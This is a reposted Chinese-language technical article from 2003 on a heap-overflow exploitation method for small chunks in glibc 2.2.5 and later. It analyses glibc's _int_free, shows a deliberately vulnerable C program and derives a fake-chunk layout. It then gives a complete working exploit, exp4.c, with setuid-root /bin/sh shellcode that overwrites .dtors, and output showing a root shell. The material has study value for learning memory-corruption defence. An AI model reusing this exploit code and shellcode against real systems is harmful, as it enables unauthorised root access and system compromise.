zoukankan      html  css  js  c++  java
  • 一种小堆(heap)溢出的另类利用方法

    转自:http://tech.ccidnet.com/art/1101/20050422/626639_1.html

    一种小堆(heap)溢出的另类利用方法
    bkbll(bkbll@cnhonker.net)
    2003-9-1
    [1]. 什么是堆溢出
        堆溢出(heap overflow) 类似stack overflow, 发生在BSS区. 关于heap overflow的文章外面有很多, 入门级别的w00w00的, 这篇文章的中文版是由warning3 撰写, 文章地址是: _blank>http://www.w00w00.org/files/articles/heaptut-chinese.txt, 英文原版是: _blank>http://www.w00w00.org/files/articles/heaptut.txt, 其中还有warning3写的: <一种新的heap区溢出技术分析>, 文章在:
    _self&;do=view&doc_id=529&keyword=heap" target=_blank>http://www.nsfocus.net/index.php?act=sec_self&;do=view&doc_id=529&keyword=heap
    本篇假设你理解了这两篇文章的意义.
    [2]. 本篇依赖的系统
    本篇所有程序都在Rh linux 8.0 default install 平台上调试通过. 关于小堆的利用, 在glibc>=2.2.5的版本上才有意义, 在glibc 2.2.4(rh 7.2)上, 利用warning3的方法就完全可行, 所以本文假设你使用的平台glibc>=2.2.5. rh linux 8.0上的版本是glibc-2.2.93-5 .
    [3]. 和glibc<=2.2.5的区别
        我们可以看看malloc的源代码. 低版本的分析可以参看warning3的文章, 高版本的源代码分析如下(int_free函数,因为函数比较长, 分解一下):
    void _int_free(mstate av, Void_t* mem)
    {
    if (mem != 0) { //如果mem!=NULL
    p = mem2chunk(mem);
    size = chunksize(p);
    check_inuse_chunk(av, p);
    if ((unsigned long)(size) <= (unsigned long)(av->max_fast) //这里,如果是小堆<64bytes
    #if TRIM_FASTBINS
    && (chunk_at_offset(p, size) != av->top) //并且这个块的下一块不是top块
    #endif
    ) {
    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);
    p->fd = *fb;
    *fb = p;
    }
    else if (!chunk_is_mmapped(p)) //如果这个块没有mmap位
    {
    nextchunk = chunk_at_offset(p, size);
    nextsize = chunksize(nextchunk);
    assert(nextsize > 0);
    /* consolidate backward */
    if (!prev_inuse(p)) //如果当前块的size部分标志着前一块未使用
    {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(p, bck, fwd); //和前一块合并
    }
    if (nextchunk != av->top)
    {
         /* get and clear inuse bit */
         nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
         //#define clear_inuse_bit_at_offset(p, s) (((mchunkptr)(((char*)(p)) + (s)))->size &= ~(PREV_INUSE))
         /* consolidate forward */
         if (!nextinuse) //如果下一个块没有使用, 则合并这个块
         {
         unlink(nextchunk, bck, fwd);
         size += nextsize;
         }
    …………    
    }
    else //如果这个块后面紧挨着top块
    {
    ………
    }
    /* 注意这里, 如果合并后的大小>0xffff的话) */
    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
    {
    if (have_fastchunks(av))
    malloc_consolidate(av);
    …….
    }
    }
    else { //如果是mmap的
    ………….
        }
    }
    }
    总结一下, 不同的地方有:
    1.    当free的堆大小<64字节的时候, 会利用一种快速处理方法来处理.
    2.    当合并后的size 大于0xffff的时候, 还有另外一个过程 , 这个过程如果你用伪造的chunk去处理的话, 很难保证不出错, 所以合并后的size要小于0xffff.
    3.    块的大小必须要是8的倍数.
    1和2 的比较过程都是用(unsigned long)类型比较, 所以在这里, 负数可以逃避1的规则限制, 而2里面就不行了, 如果size是一个负数, 会判断失败, 这样会跳转到一个复杂的计算过程, 所以在这里size一定不能是负数.
    [4]. 一个有漏洞的程序:
    /* just for fun */
    #include
    #include
    #include

    main(int argc,char **argv)
    {
        char *p1;
        char *p2;
        
        if(argc<2)
        {
            printf("Usage:%s \n",argv[0]);
            exit(0);    
        }
        if(strlen(argv[1])>40-1)
        {
            printf("ERROR:too long\n");
            exit(0);
        }
        p1=(char *)malloc(20);
        p2=(char *)malloc(40);
        memset(p1,0,20);
        memset(p2,0,40);
        strcpy(p2,argv[1]);
        strcpy(p1,p2);
        printf("[+] input:%s\n",p1);
        memset(p2,0,40);
        free(p1);
        free(p2);
        exit(0);
    }
    [5]. 利用方法思考
        初看起来和以前的heap overflow利用方法一样, 伪造chunk2和chunk3就可以写出exp的, 但因为第一个块是小块, 所以利用方法又有所不一样.
        从内存结构来看, 我们可以覆盖的有: p2的prev_size和p2的size两个地方. 恰好这两个地方是控制p2的前一个块和后一个块的关键数据, 所以基本上我们可以伪造出前一个块和后一个块, 只要控制好inuse位, 我们就可以利用unlik操作写任意四个字节的数据到任意地方.
        这里需要注意的是size必须要是一个正数, 而且这个数值必须小与0xffff. 这里我们有两种选择(为了描述方便, 我们把p2前一个块称做p1,后面的一个块称做p3, p3的下一块称作p4)
    1.    利用伪造的p1,进行unlink操作. 只需要让p2的prev_inuse位清零
    2.    利用伪造p3进行unlink操作, 因为后面有判断p3是否使用, 所以还需要伪造p4.
    如果是要利用伪造p3进行unlink操作的话, 因为要考虑到size>0, 这里要考虑两种情况(利用strcpy,所以数据里面不能有0x00):
    1.    p2的size>0 因为p2本身缘故, 这个里面可以含有0x00. 这样p3就只能在p2后面了, 但看程序里面,p2后面的数据基本上全为0 , p3的fd和bk数据无法填充.所以不大可能.
    2.    p2的size<0 这样要求p3的size>0而且0xffff>(p3->size+p2->size)>0. 并且通过p3->size伪造的p4要满足我们的要求, 最重要的是p3->size四个字节的内存块里面不能有0x00.好像在内存中还找不出这样的一个位置来放我们的p3,如果你有更合适的办法, 请和交流.
    从上面的分析可以看出, 利用伪造的p3块进行unlink操作难度系数太大了. 我们看看利用伪造的p1可不可行.
    因为p1的地址是这样计算的:p1 addr=p2 addr – p2->prev_size, 而p2后面的内存基本上全为0 ,所以这里的prev_size必须要为一个正数, 但是又因为我们要覆盖到p2的size,所以prev_size内存块不能有0x00数据, 这里的p2->prev_size就只能是一个非常大的正数. 初看上去是不可行的, 但联想到我们的堆栈数据是0xbffff开头的, 如果将这个地址看成是一个有符号的数话,恰好是一个负数, 从前面的源代码上分析可以看出,size的加法全是有符号的操作, 所以我们可不可以将p1结构放到我们的堆栈里面呢? 这样我们可以通过这个非常大的正数将P1放到堆栈里面.
    P1确定好了, 为了保证0xffff>(p2->size+p1->size)>0, 而且又要求我们可以控制p3, 我们又需要精心构造一个p2->size,而且这个数据还需要设置p1的non-use位. 看上去是不是不可能的? 让我们看一看一个精彩的数学变换.
    假设我们p2地址是p2addr,p1地址是p1addr,p1的大小是p1size,p2的大小是p2size,p3的地址是p3addr, p1size+p2size=offset,这个offset符合大于0和小于0xffff的规定.
    那么这里有几个等式:


    p2addr-p1size=p1addr    ------------①
    p2addr+p2size=p3addr    ------------②
    p1size+p2size=offset    ------------③


    ②-①得:
    p2size+p1size=p3addr-p1addr
    代入③得:
    offset=p3addr-p1addr,也即:
    p3addr=p1addr+offset.
    我们的p1放在堆栈, 只要我们加上一点点的offset就可以得到我们的p3, 那么p4也可以顺利伪造出来了.
    现在摆在面前的问题就只有一个: p3addr-p2addr也就是p2size必须要设置non-map和non-use位. 而且p2size要为8的倍数, 这样看来, p2size最后一个数据必须为8.
    这个时候又有一个问题出来了, 我们该怎么构造这些数据以确保p3的结构里面符合要求而p3的地址和p2地址之差最后一位要为8? 这个数据该如何被确保存在?
    经过思考, 我们可以想像出我们的p1和p3数据是这样的:


    |AAAA|AAAA| FD | BK |AAA.AAAAA|AAAA| P3SIZE|….
      p1                               p3


    因为我们不用关心p1的prev_size以及p1的size, 而我们只需要关心p4的size的inuse是否为0, 这样,我们将p3->size设置成0xfffffff8(-8), 这样p4=p3+p3->size=p3-8, 这样只要保证*(char *)(p3-1)的数据最后一位为1就可以了. 填充的A就可以满足要求. 在P1和P3的数据后面我们可以跟上我们的shellcode,这样构造后的数据应该是这样的:


    | 被替换的地址 |  替换的地址 | xxxxxxxxxxxA|AAAA| -8 | shellcode |
    p1+8        p1+12                         p3


    我们回到刚才的问题, 怎么保证p3的地址满足要求.
    我们可以这样考虑, 内存中存放多次的xxxA|AAAA| -8 | 这样的结构, 其中XXXA|AAAA长度我们需要验算一下. 我们的目标是, 经过有限次的16位数据循环, 我们总可以找到符合要求的xxxxA|AAAA|-8|这样满足要求的结构. 我们写个小程序验算一下:
    [netconf@linux1 challenge]$ cat test1.c


    /* test for 32 bits value */
    #include
    #include
    #include

    #define SIZE 200
    #define PAD 5
    #define FG 'A'
    #define ADDR 0xfffffff8

    void foo(int offset,char *buffer)
    {
           int i,found=0;

           for(i=offset;i<STRLEN(BUFFER);I+=16)
           {
                   if((buffer[i]==FG) && (buffer[i+1]==FG) && (buffer[i+2]==FG) && (buffer[i+3]==FG) && (*(unsigned int *)(buffer+i+4)==ADDR))
                   {
                           printf("[+] found.i:%3d,cont:%c%c%c%c ADDR:%p\n",i,buffer[i],buffer[i+1],buffer[i+2],buffer[i+3],*(unsigned int *)(buffer+i+4));
                           found=1;
                           continue;
                   }
           }
           if(found==0)    printf("[-] not found\n");
    }

    main(int argc,char **argv)
    {
           char buffer[SIZE];
           int i,j;
           int pd=PAD;

           if(argc>1) pd=atoi(argv[1]);
           memset(buffer,0,SIZE);
           for(i=0;i<SIZE-1;I+=PD+4)
           {
                   memset(buffer+i,FG,pd);
                   *(unsigned int *)(buffer+i+pd)=ADDR;
           }
           printf("[+] PAD=%d\n\n",pd);
           for(j=0;j<PD;J++)
           {
                   printf("[+] Offset:%d\n",j);
                   foo(j,buffer);
           }
    }


    [netconf@linux1 challenge]$
    我们分别验算一下从1-9符合要求的PAD是多少:


    [netconf@linux1 challenge]$ gcc -o test1 test1.c
    [netconf@linux1 challenge]$ ./test1 1
    [+] PAD=1

    [+] Offset:0
    [-] not found
    [netconf@linux1 challenge]$ ./test1 2
    [+] PAD=2

    [+] Offset:0
    [-] not found
    [+] Offset:1
    [-] not found
    [netconf@linux1 challenge]$ ./test1 3
    [+] PAD=3

    [+] Offset:0
    [-] not found
    [+] Offset:1
    [-] not found
    [+] Offset:2
    [-] not found
    [netconf@linux1 challenge]$ ./test1 4
    [+] PAD=4

    [+] Offset:0
    [+] found.i:  0,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 16,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 32,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 48,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 64,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 80,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 96,cont:AAAA ADDR:0xfffffff8
    [+] found.i:112,cont:AAAA ADDR:0xfffffff8
    [+] found.i:128,cont:AAAA ADDR:0xfffffff8
    [+] found.i:144,cont:AAAA ADDR:0xfffffff8
    [+] found.i:160,cont:AAAA ADDR:0xfffffff8
    [+] found.i:176,cont:AAAA ADDR:0xfffffff8
    [+] found.i:192,cont:AAAA ADDR:0xfffffff8
    [+] Offset:1
    [-] not found
    [+] Offset:2
    [-] not found
    [+] Offset:3
    [-] not found
    [netconf@linux1 challenge]$ ./test1 5
    [+] PAD=5

    [+] Offset:0
    [+] found.i: 64,cont:AAAA ADDR:0xfffffff8
    [+] Offset:1
    [+] found.i:  1,cont:AAAA ADDR:0xfffffff8
    [+] found.i:145,cont:AAAA ADDR:0xfffffff8
    [+] Offset:2
    [+] found.i: 82,cont:AAAA ADDR:0xfffffff8
    [+] Offset:3
    [+] found.i: 19,cont:AAAA ADDR:0xfffffff8
    [+] found.i:163,cont:AAAA ADDR:0xfffffff8
    [+] Offset:4
    [+] found.i:100,cont:AAAA ADDR:0xfffffff8
    [netconf@linux1 challenge]$ ./test1 6
    [+] PAD=6

    [+] Offset:0
    [+] found.i: 32,cont:AAAA ADDR:0xfffffff8
    [+] found.i:112,cont:AAAA ADDR:0xfffffff8
    [+] found.i:192,cont:AAAA ADDR:0xfffffff8
    [+] Offset:1
    [-] not found
    [+] Offset:2
    [+] found.i:  2,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 82,cont:AAAA ADDR:0xfffffff8
    [+] found.i:162,cont:AAAA ADDR:0xfffffff8
    [+] Offset:3
    [-] not found
    [+] Offset:4
    [+] found.i: 52,cont:AAAA ADDR:0xfffffff8
    [+] found.i:132,cont:AAAA ADDR:0xfffffff8
    [+] Offset:5
    [-] not found
    [netconf@linux1 challenge]$ ./test1 7
    [+] PAD=7

    [+] Offset:0
    [+] found.i: 80,cont:AAAA ADDR:0xfffffff8
    [+] Offset:1
    [+] found.i:113,cont:AAAA ADDR:0xfffffff8
    [+] Offset:2
    [+] found.i:146,cont:AAAA ADDR:0xfffffff8
    [+] Offset:3
    [+] found.i:  3,cont:AAAA ADDR:0xfffffff8
    [+] found.i:179,cont:AAAA ADDR:0xfffffff8
    [+] Offset:4
    [+] found.i: 36,cont:AAAA ADDR:0xfffffff8
    [+] Offset:5
    [+] found.i: 69,cont:AAAA ADDR:0xfffffff8
    [+] Offset:6
    [+] found.i:102,cont:AAAA ADDR:0xfffffff8
    [netconf@linux1 challenge]$ ./test1 8
    [+] PAD=8

    [+] Offset:0
    [+] found.i: 16,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 64,cont:AAAA ADDR:0xfffffff8
    [+] found.i:112,cont:AAAA ADDR:0xfffffff8
    [+] found.i:160,cont:AAAA ADDR:0xfffffff8
    [+] Offset:1
    [-] not found
    [+] Offset:2
    [-] not found
    [+] Offset:3
    [-] not found
    [+] Offset:4
    [+] found.i:  4,cont:AAAA ADDR:0xfffffff8
    [+] found.i: 52,cont:AAAA ADDR:0xfffffff8
    [+] found.i:100,cont:AAAA ADDR:0xfffffff8
    [+] found.i:148,cont:AAAA ADDR:0xfffffff8
    [+] found.i:196,cont:AAAA ADDR:0xfffffff8
    [+] Offset:5
    [-] not found
    [+] Offset:6
    [-] not found
    [+] Offset:7
    [-] not found
    [netconf@linux1 challenge]$ ./test1 9
    [+] PAD=9

    [+] Offset:0
    [+] found.i: 96,cont:AAAA ADDR:0xfffffff8
    [+] Offset:1
    [+] found.i:161,cont:AAAA ADDR:0xfffffff8
    [+] Offset:2
    [+] found.i: 18,cont:AAAA ADDR:0xfffffff8
    [+] Offset:3
    [+] found.i: 83,cont:AAAA ADDR:0xfffffff8
    [+] Offset:4
    [+] found.i:148,cont:AAAA ADDR:0xfffffff8
    [+] Offset:5
    [+] found.i:  5,cont:AAAA ADDR:0xfffffff8
    [+] Offset:6
    [+] found.i: 70,cont:AAAA ADDR:0xfffffff8
    [+] Offset:7
    [+] found.i:135,cont:AAAA ADDR:0xfffffff8
    [+] Offset:8
    [+] found.i:200,cont:AAAA ADDR:0xfffffff8
    [netconf@linux1 challenge]$


    从上面的计算可以看出, 无论buffer开始地址多少, 当PAD为5,7,9的时候, 经过有限次列举总可以找到这样一个满足条件的位置. 我们取最小的数据5来构造我们的p3.
    [6]. 我们的exp
    这样我们就可以写出exploit了:
    [netconf@linux1 challenge]$ cat exp4.c


    /* exp4 */
    #include
    #include
    #include

    #define SIZE 20
    #define FILL 200                    /* 我们准备填充多少个p3结构来满足要求 */
    #define PAD 5                      
    #define want_write_to_addr 0x080496dc+4-3*4 /*.dtors地址*/
    #define P2ADDR       0x08049738             /* p2的地址(chunk地址) */
    #define shell_addr   0xbfffffa7             /* shellcode地址 */
    #define P3ADDR       0xbfffff60             /* p2->next的地址*/
    #define P1ADDR       (unsigned long)(shell_addr-(FILL/(PAD+4))*(PAD+4)-0x08+1)    /* p2->prev chunk的地址*/
    #define VULN        "./vul2"

    char shellcode[] =
    "\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
    "\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    main(int argc,char *argv[])
    {
        int i,size=SIZE,size2,length;
        char *env[2],envbuf[400],buffer[100];
        unsigned long p1size,p2size,p1addr;
        
        memset(buffer,0,100);
        if(argc>1) size=atoi(argv[1]);
        length=(int)(size+4)/8;
           if(length*8 == (size+4))length--;
        length*=8;
        
        for(i=0;i<LENGTH;I++)
            buffer[i]='A';
        size2=P3ADDR-P1ADDR;
        p1size=size2-(P3ADDR-P2ADDR);
        p2size=P3ADDR-P2ADDR;
        printf("p2size+p1size:%p+%p=%#x\n",p2size,p1size,p2size+p1size);
        printf("p1addr:%p,p2addr:%p,p3addr=%p\n",P1ADDR,P2ADDR,P3ADDR);
        *(unsigned long *)(buffer+i)=p1size;
        i+=4;
        *(unsigned long *)(buffer+i)=p2size;
        i+=4;

        memset(envbuf,0,400);
        strcpy(envbuf,"STR=");
        i=strlen(envbuf);
        //构造p1和p3
         *(unsigned long *)(envbuf+i)=want_write_to_addr;
         *(unsigned long *)(envbuf+i+4)=shell_addr;
         i+=8;
         for(i;i<200;i+=9)
         {
             memset(envbuf+i,'A',PAD);
             *(unsigned long *)(envbuf+i+PAD)=0xfffffff8;
         }
         memcpy(envbuf+i,shellcode,strlen(shellcode));
        
        env[0]=envbuf;
        env[1]=NULL;
        execle(VULN,VULN,buffer,NULL,env);
        
    }


    试一下:
    [netconf@linux1 challenge]$ ./exp4
    p2size+p1size:0xb7fb6828+0x4804985e=0x86
    p1addr:0xbffffeda,p2addr:0x8049738,p3addr=0xbfffff60
    [+] input:AAAAAAAAAAAAAAAA^楬(h
    sh-2.05b# id
    uid=0(root) gid=500(netconf) groups=500(netconf)
    sh-2.05b#
    [7]. 参考文章:
    1. warning3: <一种新的heap区溢出技术分析>

     

  • 相关阅读:
    Java.io.outputstream.PrintStream:打印流
    Codeforces 732F. Tourist Reform (Tarjan缩点)
    退役了
    POJ 3281 Dining (最大流)
    Light oj 1233
    Light oj 1125
    HDU 5521 Meeting (最短路)
    Light oj 1095
    Light oj 1044
    HDU 3549 Flow Problem (dinic模版 && isap模版)
  • 原文地址:https://www.cnblogs.com/shanmao/p/2829541.html
Copyright © 2011-2022 走看看